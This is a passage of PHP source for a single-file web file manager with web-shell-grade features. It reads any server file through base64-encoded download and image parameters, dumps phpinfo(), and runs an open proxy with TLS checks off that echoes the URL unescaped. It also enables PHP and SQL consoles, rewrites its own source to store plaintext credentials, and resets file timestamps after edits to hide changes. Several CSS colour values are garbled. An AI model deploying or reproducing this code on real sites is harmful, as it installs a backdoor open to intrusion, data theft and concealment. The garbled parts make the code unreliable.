<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
